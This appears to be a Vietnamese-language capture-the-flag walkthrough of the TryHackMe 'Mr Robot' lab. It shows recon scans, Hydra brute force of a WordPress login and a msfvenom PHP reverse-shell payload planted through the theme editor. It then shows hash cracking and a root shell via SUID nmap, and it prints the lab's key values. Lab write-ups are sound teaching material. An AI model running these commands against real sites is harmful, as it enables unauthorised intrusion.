IP
10.10.81.52 10.10.7.247 10.10.239.87
Recon
Nmap
nmap -A -Pn -n -T3 -oN nmap.log 10.10.81.52
Nmap scan report for 10.10.81.52
Host is up (0.27s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site does not have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-title: Site does not have a title (text/html).
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.65 seconds
Phân tích:
- Port 22 chạy SSH nhưng đã đóng
- Port 80 chạy Apache httpd
- Port 443 chạy HTTPS
Nuclei
nuclei -u http://10.10.81.52 -o nuclei.log
[apache-detect] [http] [info] http://10.10.7.247 [Apache]
[pagespeed-detect] [http] [info] http://10.10.7.247
[wordpress-contact-form-7:outdated_version] [http] [info] http://10.10.7.247/wp-content/plugins/contact-form-7/readme.txt [4.1]
[CVE-2020-35489] [http] [critical] http://10.10.7.247/wp-content/plugins/contact-form-7/readme.txt [4.1]
...
[wordpress-login] [http] [info] http://10.10.7.247/wp-login.php
[robots-txt-endpoint] [http] [info] http://10.10.7.247/robots.txt
[waf-detect:apachegeneric] [http] [info] http://10.10.7.247/
[wordpress-all-in-one-seo-pack:detected_version] [http] [info] http://10.10.7.247/wp-content/plugins/all-in-one-seo-pack/readme.txt [trunk] [last_version="4.5.4"]
[wordpress-all-in-one-wp-migration:outdated_version] [http] [info] http://10.10.7.247/wp-content/plugins/all-in-one-wp-migration/readme.txt [2.0.4] [last_version="7.79"]
[wordpress-detect:version_by_js] [http] [info] http://10.10.7.247/wp-admin/install.php [4.3.1]
[wordpress-google-analytics-for-wordpress:outdated_version] [http] [info] http://10.10.7.247/wp-content/plugins/google-analytics-for-wordpress/readme.txt [5.3.2] [last_version="8.21.0"]
[wordpress-google-sitemap-generator:outdated_version] [http] [info] http://10.10.7.247/wp-content/plugins/google-sitemap-generator/readme.txt [4.0.7.1] [last_version="4.1.13"]
[wordpress-jetpack:outdated_version] [http] [info] http://10.10.7.247/wp-content/plugins/jetpack/readme.txt [3.3.2] [last_version="12.8.1"]
[wordpress-wp-mail-smtp:outdated_version] [http] [info] http://10.10.7.247/wp-content/plugins/wp-mail-smtp/readme.txt [0.9.5] [last_version="3.10.0"]
[wordpress-xmlrpc-listmethods] [http] [info] http://10.10.7.247/xmlrpc.php
[wordpress-xmlrpc-file] [http] [info] http://10.10.7.247/xmlrpc.php
[self-signed-ssl] [ssl] [low] 10.10.7.247:443
[tls-version] [ssl] [info] 10.10.7.247:443 [tls10]
[weak-cipher-suites:tls-1.0] [ssl] [low] 10.10.7.247:443 [[tls10 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA]]
[tls-version] [ssl] [info] 10.10.7.247:443 [tls11]
[weak-cipher-suites:tls-1.1] [ssl] [low] 10.10.7.247:443 [[tls11 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA]]
[tls-version] [ssl] [info] 10.10.7.247:443 [tls12]
Phân tích:
- Trang web có sử dụng WordPress và có vẻ như có một CVE liên quan đến Upload Vulnerabilities. Có thể dùng WPScan để quét.
- Tồn tại khá nhiều plugin cũ có lỗ hổng.
- Endpoint
/wp-login.php
là trang đăng nhập của WordPress. - Endpoint
/xmlrpc.php
là của XML-RPC server. - Cert của trang web được cấp cho
www.example.com
.
File robots.txt
có nội dung như sau:
User-agent: *
fsocity.dic
key-1-of-3.txt
File /fsocity.dic
là một wordlist còn /key-1-of-3.txt
chính là key đầu tiên.
Success
073403c8a58a1f80d943455fb30724b9
Gobuster
gobuster dir -u http://10.10.81.52 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -q -o gobuster.log
/blog (Status: 301) [Size: 232] [--> http://10.10.81.52/blog/]
/sitemap (Status: 200) [Size: 0]
/images (Status: 301) [Size: 234] [--> http://10.10.81.52/images/]
/login (Status: 302) [Size: 0] [--> http://10.10.81.52/wp-login.php]
/video (Status: 301) [Size: 233] [--> http://10.10.81.52/video/]
/rss (Status: 301) [Size: 0] [--> http://10.10.81.52/feed/]
/0 (Status: 301) [Size: 0] [--> http://10.10.81.52/0/]
/feed (Status: 301) [Size: 0] [--> http://10.10.81.52/feed/]
/wp-content (Status: 301) [Size: 238] [--> http://10.10.81.52/wp-content/]
/image (Status: 301) [Size: 0] [--> http://10.10.81.52/image/]
/atom (Status: 301) [Size: 0] [--> http://10.10.81.52/feed/atom/]
/admin (Status: 301) [Size: 233] [--> http://10.10.81.52/admin/]
/audio (Status: 301) [Size: 233] [--> http://10.10.81.52/audio/]
/css (Status: 301) [Size: 231] [--> http://10.10.81.52/css/]
/wp-login (Status: 200) [Size: 2657]
/rss2 (Status: 301) [Size: 0] [--> http://10.10.81.52/feed/]
/license (Status: 200) [Size: 309]
/wp-includes (Status: 301) [Size: 239] [--> http://10.10.81.52/wp-includes/]
/js (Status: 301) [Size: 230] [--> http://10.10.81.52/js/]
/Image (Status: 301) [Size: 0] [--> http://10.10.81.52/Image/]
/rdf (Status: 301) [Size: 0] [--> http://10.10.81.52/feed/rdf/]
/page1 (Status: 301) [Size: 0] [--> http://10.10.81.52/]
/readme (Status: 200) [Size: 64]
/robots (Status: 200) [Size: 41]
/dashboard (Status: 302) [Size: 0] [--> http://10.10.81.52/wp-admin/]
/%20 (Status: 301) [Size: 0] [--> http://10.10.81.52/]
/wp-admin (Status: 301) [Size: 236] [--> http://10.10.81.52/wp-admin/]
/phpmyadmin (Status: 403) [Size: 94]
/0000 (Status: 301) [Size: 0] [--> http://10.10.81.52/0000/]
Phân tích:
/wp-admin
là trang quản lý của WordPress. Chưa đăng nhập thì nó sẽ redirect đến/wp-login
./0
sẽ dẫn đến trang Not Found. Trong trang này có ô tìm kiếm là nhưng action của nó là endpoint/
với query param làs
./Image
có một bức ảnh và có form cho phép đăng bình luận./readme
là file/readme.txt
./robots
là file/robots.txt
WPScan
Tìm thấy XML-RPC và một vài plugin/theme dính lỗ hổng:
wpscan --url 10.10.7.247 -e
[+] XML-RPC seems to be enabled: http://10.10.7.247/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://10.10.7.247/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
[+] WordPress version 4.3.1 identified (Insecure, released on 2015-09-15).
| Found By: Emoji Settings (Passive Detection)
| - http://10.10.7.247/21c0e5f.html, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.3.1'
| Confirmed By: Meta Generator (Passive Detection)
| - http://10.10.7.247/21c0e5f.html, Match: 'WordPress 4.3.1'
[+] WordPress theme in use: twentyfifteen
| Location: http://10.10.7.247/wp-content/themes/twentyfifteen/
| Last Updated: 2023-11-07T00:00:00.000Z
| Readme: http://10.10.7.247/wp-content/themes/twentyfifteen/readme.txt
| [!] The version is out of date, the latest version is 3.6
|
| Found By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://10.10.7.247/wp-content/themes/twentyfifteen/style.css?ver=4.3.1, Match: 'Version: 1.3'
Exploit
Login
Truy cập vào /wp-admin
thì được chuyển hướng sang /wp-login.php
. Request đăng nhập có dạng như sau:
POST /wp-login.php HTTP/1.1
Host: 10.10.81.52
Content-Length: 119
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.81.52
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.81.52/wp-login.php?redirect_to=http%3A%2F%2F10.10.81.52%2Fwp-admin%2F&reauth=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
log=admin&pwd=admin&rememberme=forever&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.81.52%2Fwp-admin%2F&testcookie=1
Trong response có chuỗi “Invalid username”.
Sử dụng Hydra cùng word list fsocity.dic
ở trên để brute force username:
hydra -L fsocity.dic -p 123 10.10.7.247 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username"
Kết quả tìm được username sau:
[80][http-post-form] host: 10.10.7.247 login: Elliot password: 123
Thử đăng nhập bằng username Elliot
với password là 123
thì trang web báo lỗi: “The password you entered for the username Elliot is incorrect.”
Brute force password của username này:
hydra -l Elliot -P fsocity.dic 10.10.239.87 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:The password you entered for the username"
Thời gian chạy khá lâu.
Hint
Theo walk through này thì password tồn tại ở cuối trang
/license
ở dạng base64.
Decode thu được password và cả username:
echo ZWxsaW90OkVSMjgtMDY1Mgo= | base64 -d
elliot:ER28-0652
Password ER28-0652
không tồn tại trong word list fsocity.dic
hay rockyou
. Điều này lý giải cho việc dùng Hydra brute force nhưng không ra.
Dùng tài khoản là Elliot
vẫn đăng nhập được do WordPress không áp dụng case-sensitive cho username theo mặc định.
Theme Editor
Thử sử dụng kỹ thuật trong Internal.
Tạo payload:
msfvenom -p php/meterpreter_reverse_tcp LHOST=tun0 LPORT=9999 -f raw > revsh.php
Copy nội dung của payload vào trang editor của trang 404 (có URL là wp-admin/theme-editor.php?file=404.php
) rồi nhấn “Update File”. Kết quả cho thấy rằng ta đã sửa file thành công.
Chạy meterpreter:
msfconsole -x 'use php/meterpreter_reverse_tcp;set lhost tun0;set lport 9999;exploit'
Truy cập vào endpoint /blog/wp-content/themes/twentyseventeen/404.php
để nhận reverse shell.
Sau khi nhận reverse shell, vào đường dẫn /home/robot
thì thấy có hai file như sau:
meterpreter > ls
Listing: /home/robot
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100400/r-------- 33 fil 2015-11-13 14:28:21 +0700 key-2-of-3.txt
100644/rw-r--r-- 39 fil 2015-11-13 14:28:21 +0700 password.raw-md5
Không thể đọc file key-2-of-3.txt
do không có quyền. Kiểm tra quyền:
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Tuy nhiên, ta có thể đọc file password.raw-md5
và nội dung của nó là:
robot:c3fcd3d76192e4007dfb496cca67e13b
Thử dùng crackstation thì tìm được password là abcdefghijklmnopqrstuvwxyz
. Đăng nhập vào tài khoản của robot
:
su robot
su: must be run from a terminal
Upgrade shell bằng lệnh sau rồi thử lại:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Đọc file key-2-of-3.txt
ta sẽ có được key 2:
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
Success
822c73956184f694993bede3eb39f959
Escalation
Tìm các binary có SUID:
find / -type f -perm -04000 -ls 2>/dev/null
15068 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
15093 68 -rwsr-xr-x 1 root root 69120 Feb 12 2015 /bin/umount
15060 96 -rwsr-xr-x 1 root root 94792 Feb 12 2015 /bin/mount
15069 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
15085 40 -rwsr-xr-x 1 root root 36936 Feb 17 2014 /bin/su
36231 48 -rwsr-xr-x 1 root root 47032 Feb 17 2014 /usr/bin/passwd
36216 32 -rwsr-xr-x 1 root root 32464 Feb 17 2014 /usr/bin/newgrp
36041 44 -rwsr-xr-x 1 root root 41336 Feb 17 2014 /usr/bin/chsh
36038 48 -rwsr-xr-x 1 root root 46424 Feb 17 2014 /usr/bin/chfn
36148 68 -rwsr-xr-x 1 root root 68152 Feb 17 2014 /usr/bin/gpasswd
36349 152 -rwsr-xr-x 1 root root 155008 Mar 12 2015 /usr/bin/sudo
34835 496 -rwsr-xr-x 1 root root 504736 Nov 13 2015 /usr/local/bin/nmap
Ta có thể lạm dụng binary nmap
để leo thang đặc quyền.
Theo GTFOBins thì ngoài cách khai thác SUID thì còn một cách khác là sử dụng interactive mode:
nmap --interactive
nmap> !sh
Sau khi sử dụng thì ta mở được shell có quyền của root:
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
Đọc file /root/key-3-of-3.txt
để có key thứ 3.
Success
04787ddef27c3dee1ee161b21670b4e4
Related
list
from outgoing([[TryHackMe - MrRobot]])
sort file.ctime asc